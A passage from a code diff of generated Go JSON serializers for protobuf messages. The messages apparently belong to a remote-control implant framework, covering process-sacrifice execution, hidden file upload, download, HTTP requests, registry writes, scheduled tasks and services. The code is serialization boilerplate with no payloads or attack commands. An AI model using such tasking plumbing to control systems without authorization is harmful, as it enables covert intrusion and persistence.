s.ReadNil() { + x.Sacrifice = nil + return + } + x.Sacrifice = &SacrificeProcess{} + x.Sacrifice.UnmarshalProtoJSON(s.WithField("sacrifice", true)) + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "context": + s.AddField("context") + x.Context = s.ReadString() + case "delay": + s.AddField("delay") + x.Delay = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the ExecuteBinary from JSON. +func (x *ExecuteBinary) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ExecuteCommand message to JSON. +func (x *ExecuteCommand) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Command != "" || s.HasField("command") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("command") + s.WriteString(x.Command) + } + if x.Sacrifice != nil || s.HasField("sacrifice") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("sacrifice") + x.Sacrifice.MarshalProtoJSON(s.WithField("sacrifice")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ExecuteCommand to JSON. +func (x *ExecuteCommand) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ExecuteCommand message from JSON. +func (x *ExecuteCommand) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "command": + s.AddField("command") + x.Command = s.ReadString() + case "sacrifice": + if s.ReadNil() { + x.Sacrifice = nil + return + } + x.Sacrifice = &SacrificeProcess{} + x.Sacrifice.UnmarshalProtoJSON(s.WithField("sacrifice", true)) + } + }) +} + +// UnmarshalJSON unmarshals the ExecuteCommand from JSON. +func (x *ExecuteCommand) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the UploadRequest message to JSON. +func (x *UploadRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Target != "" || s.HasField("target") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("target") + s.WriteString(x.Target) + } + if x.Priv != 0 || s.HasField("priv") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("priv") + s.WriteUint32(x.Priv) + } + if len(x.Data) > 0 || s.HasField("data") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("data") + s.WriteBytes(x.Data) + } + if x.Hidden || s.HasField("hidden") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hidden") + s.WriteBool(x.Hidden) + } + if x.Override || s.HasField("override") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("override") + s.WriteBool(x.Override) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the UploadRequest to JSON. +func (x *UploadRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the UploadRequest message from JSON. +func (x *UploadRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "target": + s.AddField("target") + x.Target = s.ReadString() + case "priv": + s.AddField("priv") + x.Priv = s.ReadUint32() + case "data": + s.AddField("data") + x.Data = s.ReadBytes() + case "hidden": + s.AddField("hidden") + x.Hidden = s.ReadBool() + case "override": + s.AddField("override") + x.Override = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the UploadRequest from JSON. +func (x *UploadRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the DownloadRequest message to JSON. +func (x *DownloadRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.BufferSize != 0 || s.HasField("bufferSize") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bufferSize") + s.WriteUint32(x.BufferSize) + } + if x.Dir || s.HasField("dir") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("dir") + s.WriteBool(x.Dir) + } + if x.Cur != 0 || s.HasField("cur") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("cur") + s.WriteInt32(x.Cur) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the DownloadRequest to JSON. +func (x *DownloadRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the DownloadRequest message from JSON. +func (x *DownloadRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "buffer_size", "bufferSize": + s.AddField("buffer_size") + x.BufferSize = s.ReadUint32() + case "dir": + s.AddField("dir") + x.Dir = s.ReadBool() + case "cur": + s.AddField("cur") + x.Cur = s.ReadInt32() + } + }) +} + +// UnmarshalJSON unmarshals the DownloadRequest from JSON. +func (x *DownloadRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the DownloadResponse message to JSON. +func (x *DownloadResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Checksum != "" || s.HasField("checksum") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("checksum") + s.WriteString(x.Checksum) + } + if x.Size != 0 || s.HasField("size") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("size") + s.WriteUint64(x.Size) + } + if x.Cur != 0 || s.HasField("cur") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("cur") + s.WriteInt32(x.Cur) + } + if len(x.Content) > 0 || s.HasField("content") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("content") + s.WriteBytes(x.Content) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the DownloadResponse to JSON. +func (x *DownloadResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the DownloadResponse message from JSON. +func (x *DownloadResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "checksum": + s.AddField("checksum") + x.Checksum = s.ReadString() + case "size": + s.AddField("size") + x.Size = s.ReadUint64() + case "cur": + s.AddField("cur") + x.Cur = s.ReadInt32() + case "content": + s.AddField("content") + x.Content = s.ReadBytes() + } + }) +} + +// UnmarshalJSON unmarshals the DownloadResponse from JSON. +func (x *DownloadResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the CurlRequest_HeaderEntry message to JSON. +func (x *CurlRequest_HeaderEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the CurlRequest_HeaderEntry to JSON. +func (x *CurlRequest_HeaderEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the CurlRequest_HeaderEntry message from JSON. +func (x *CurlRequest_HeaderEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the CurlRequest_HeaderEntry from JSON. +func (x *CurlRequest_HeaderEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the CurlRequest message to JSON. +func (x *CurlRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Url != "" || s.HasField("url") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("url") + s.WriteString(x.Url) + } + if x.Timeout != 0 || s.HasField("timeout") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("timeout") + s.WriteInt32(x.Timeout) + } + if x.Method != "" || s.HasField("method") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("method") + s.WriteString(x.Method) + } + if len(x.Body) > 0 || s.HasField("body") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("body") + s.WriteBytes(x.Body) + } + if x.Header != nil || s.HasField("header") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("header") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Header { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + if x.Hostname != "" || s.HasField("hostname") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hostname") + s.WriteString(x.Hostname) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the CurlRequest to JSON. +func (x *CurlRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the CurlRequest message from JSON. +func (x *CurlRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "url": + s.AddField("url") + x.Url = s.ReadString() + case "timeout": + s.AddField("timeout") + x.Timeout = s.ReadInt32() + case "method": + s.AddField("method") + x.Method = s.ReadString() + case "body": + s.AddField("body") + x.Body = s.ReadBytes() + case "header": + s.AddField("header") + if s.ReadNil() { + x.Header = nil + return + } + x.Header = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Header[key] = s.ReadString() + }) + case "hostname": + s.AddField("hostname") + x.Hostname = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the CurlRequest from JSON. +func (x *CurlRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ChownRequest message to JSON. +func (x *ChownRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Uid != "" || s.HasField("uid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("uid") + s.WriteString(x.Uid) + } + if x.Gid != "" || s.HasField("gid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("gid") + s.WriteString(x.Gid) + } + if x.Recursive || s.HasField("recursive") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("recursive") + s.WriteBool(x.Recursive) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ChownRequest to JSON. +func (x *ChownRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ChownRequest message from JSON. +func (x *ChownRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "uid": + s.AddField("uid") + x.Uid = s.ReadString() + case "gid": + s.AddField("gid") + x.Gid = s.ReadString() + case "recursive": + s.AddField("recursive") + x.Recursive = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the ChownRequest from JSON. +func (x *ChownRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the IfconfigResponse message to JSON. +func (x *IfconfigResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.NetInterfaces) > 0 || s.HasField("netInterfaces") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("netInterfaces") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.NetInterfaces { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("netInterfaces")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the IfconfigResponse to JSON. +func (x *IfconfigResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the IfconfigResponse message from JSON. +func (x *IfconfigResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "net_interfaces", "netInterfaces": + s.AddField("net_interfaces") + if s.ReadNil() { + x.NetInterfaces = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.NetInterfaces = append(x.NetInterfaces, nil) + return + } + v := &NetInterface{} + v.UnmarshalProtoJSON(s.WithField("net_interfaces", false)) + if s.Err() != nil { + return + } + x.NetInterfaces = append(x.NetInterfaces, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the IfconfigResponse from JSON. +func (x *IfconfigResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the RegistryRequest message to JSON. +func (x *RegistryRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Registry != nil || s.HasField("registry") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("registry") + x.Registry.MarshalProtoJSON(s.WithField("registry")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the RegistryRequest to JSON. +func (x *RegistryRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the RegistryRequest message from JSON. +func (x *RegistryRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "registry": + if s.ReadNil() { + x.Registry = nil + return + } + x.Registry = &Registry{} + x.Registry.UnmarshalProtoJSON(s.WithField("registry", true)) + } + }) +} + +// UnmarshalJSON unmarshals the RegistryRequest from JSON. +func (x *RegistryRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Registry message to JSON. +func (x *Registry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Hive != "" || s.HasField("hive") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hive") + s.WriteString(x.Hive) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Registry to JSON. +func (x *Registry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Registry message from JSON. +func (x *Registry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "hive": + s.AddField("hive") + x.Hive = s.ReadString() + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "key": + s.AddField("key") + x.Key = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Registry from JSON. +func (x *Registry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the RegistryWriteRequest message to JSON. +func (x *RegistryWriteRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Hive != "" || s.HasField("hive") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hive") + s.WriteString(x.Hive) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.StringValue != "" || s.HasField("stringValue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("stringValue") + s.WriteString(x.StringValue) + } + if len(x.ByteValue) > 0 || s.HasField("byteValue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("byteValue") + s.WriteBytes(x.ByteValue) + } + if x.DwordValue != 0 || s.HasField("dwordValue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("dwordValue") + s.WriteUint32(x.DwordValue) + } + if x.QwordValue != 0 || s.HasField("qwordValue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("qwordValue") + s.WriteUint64(x.QwordValue) + } + if x.Regtype != 0 || s.HasField("regtype") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("regtype") + s.WriteUint32(x.Regtype) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the RegistryWriteRequest to JSON. +func (x *RegistryWriteRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the RegistryWriteRequest message from JSON. +func (x *RegistryWriteRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "hive": + s.AddField("hive") + x.Hive = s.ReadString() + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "string_value", "stringValue": + s.AddField("string_value") + x.StringValue = s.ReadString() + case "byte_value", "byteValue": + s.AddField("byte_value") + x.ByteValue = s.ReadBytes() + case "dword_value", "dwordValue": + s.AddField("dword_value") + x.DwordValue = s.ReadUint32() + case "qword_value", "qwordValue": + s.AddField("qword_value") + x.QwordValue = s.ReadUint64() + case "regtype": + s.AddField("regtype") + x.Regtype = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the RegistryWriteRequest from JSON. +func (x *RegistryWriteRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskScheduleRequest message to JSON. +func (x *TaskScheduleRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Taskschd != nil || s.HasField("taskschd") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("taskschd") + x.Taskschd.MarshalProtoJSON(s.WithField("taskschd")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskScheduleRequest to JSON. +func (x *TaskScheduleRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskScheduleRequest message from JSON. +func (x *TaskScheduleRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "taskschd": + if s.ReadNil() { + x.Taskschd = nil + return + } + x.Taskschd = &TaskSchedule{} + x.Taskschd.UnmarshalProtoJSON(s.WithField("taskschd", true)) + } + }) +} + +// UnmarshalJSON unmarshals the TaskScheduleRequest from JSON. +func (x *TaskScheduleRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskSchedule message to JSON. +func (x *TaskSchedule) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.ExecutablePath != "" || s.HasField("executablePath") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("executablePath") + s.WriteString(x.ExecutablePath) + } + if x.TriggerType != 0 || s.HasField("triggerType") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("triggerType") + s.WriteUint32(x.TriggerType) + } + if x.StartBoundary != "" || s.HasField("startBoundary") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("startBoundary") + s.WriteString(x.StartBoundary) + } + if x.Description != "" || s.HasField("description") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("description") + s.WriteString(x.Description) + } + if x.Enabled || s.HasField("enabled") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("enabled") + s.WriteBool(x.Enabled) + } + if x.LastRunTime != "" || s.HasField("lastRunTime") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("lastRunTime") + s.WriteString(x.LastRunTime) + } + if x.NextRunTime != "" || s.HasField("nextRunTime") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("nextRunTime") + s.WriteString(x.NextRunTime) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskSchedule to JSON. +func (x *TaskSchedule) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskSchedule message from JSON. +func (x *TaskSchedule) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "executable_path", "executablePath": + s.AddField("executable_path") + x.ExecutablePath = s.ReadString() + case "trigger_type", "triggerType": + s.AddField("trigger_type") + x.TriggerType = s.ReadUint32() + case "start_boundary", "startBoundary": + s.AddField("start_boundary") + x.StartBoundary = s.ReadString() + case "description": + s.AddField("description") + x.Description = s.ReadString() + case "enabled": + s.AddField("enabled") + x.Enabled = s.ReadBool() + case "last_run_time", "lastRunTime": + s.AddField("last_run_time") + x.LastRunTime = s.ReadString() + case "next_run_time", "nextRunTime": + s.AddField("next_run_time") + x.NextRunTime = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the TaskSchedule from JSON. +func (x *TaskSchedule) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskSchedulesResponse message to JSON. +func (x *TaskSchedulesResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Schedules) > 0 || s.HasField("schedules") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("schedules") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Schedules { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("schedules")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskSchedulesResponse to JSON. +func (x *TaskSchedulesResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskSchedulesResponse message from JSON. +func (x *TaskSchedulesResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "schedules": + s.AddField("schedules") + if s.ReadNil() { + x.Schedules = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Schedules = append(x.Schedules, nil) + return + } + v := &TaskSchedule{} + v.UnmarshalProtoJSON(s.WithField("schedules", false)) + if s.Err() != nil { + return + } + x.Schedules = append(x.Schedules, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the TaskSchedulesResponse from JSON. +func (x *TaskSchedulesResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ServiceRequest message to JSON. +func (x *ServiceRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Service != nil || s.HasField("service") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("service") + x.Service.MarshalProtoJSON(s.WithField("service")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ServiceRequest to JSON. +func (x *ServiceRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ServiceRequest message from JSON. +func (x *ServiceRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "service": + if s.ReadNil() { + x.Service = nil + return + } + x.Service = &ServiceConfig{} + x.Service.UnmarshalProtoJSON(s.WithField("service", true)) + } + }) +} + +// UnmarshalJSON unmarshals the ServiceRequest from JSON. +func (x *ServiceRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ServiceConfig message to JSON. +func (x *ServiceConfig) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.DisplayName != "" || s.HasField("displayName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("displayName") + s.WriteString(x.DisplayName) + } + if x.ExecutablePath != "" || s.HasField("executablePath") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("executablePath") + s.WriteString(x.ExecutablePath) + } + if x.StartType != 0 || s.HasField("startType") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("startType") + s.WriteUint32(x.StartType) + } + if x.ErrorControl != 0 || s.HasField("errorControl") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("errorControl") + s.WriteUint32(x.ErrorControl) + } + if x.AccountName != "" || s.HasField("accountName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("accountName") + s.WriteString(x.AccountName) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ServiceConfig to JSON. +func (x *ServiceConfig) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ServiceConfig message from JSON. +func (x *ServiceConfig) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "display_name", "displayName": + s.AddField("display_name") + x.DisplayName = s.ReadString() + case "executable_path", "executablePath": + s.AddField("executable_path") + x.ExecutablePath = s.ReadString() + case "start_type", "startType": + s.AddField("start_type") + x.StartType = s.ReadUint32() + case "error_control", "errorControl": + s.AddField("error_control") + x.ErrorControl = s.ReadUint32() + case "account_name", "accountName": + s.AddField("account_name") + x.AccountName = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the ServiceConfig from JSON. +func (x *ServiceConfig) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ServiceStatus message to JSON. +func (x *ServiceStatus) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.CurrentState != 0 || s.HasField("currentState") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("currentState") + s.WriteUint32(x.CurrentState) + } + if x.ProcessId != 0 || s.HasField("processId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("processId") + s.WriteUint32(x.ProcessId) + } + if x.ExitCode != 0 || s.HasField("exitCode") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("exitCode") + s.WriteUint32(x.ExitCode) + } + if x.Checkpoint != 0 || s.HasField("checkpoint") { 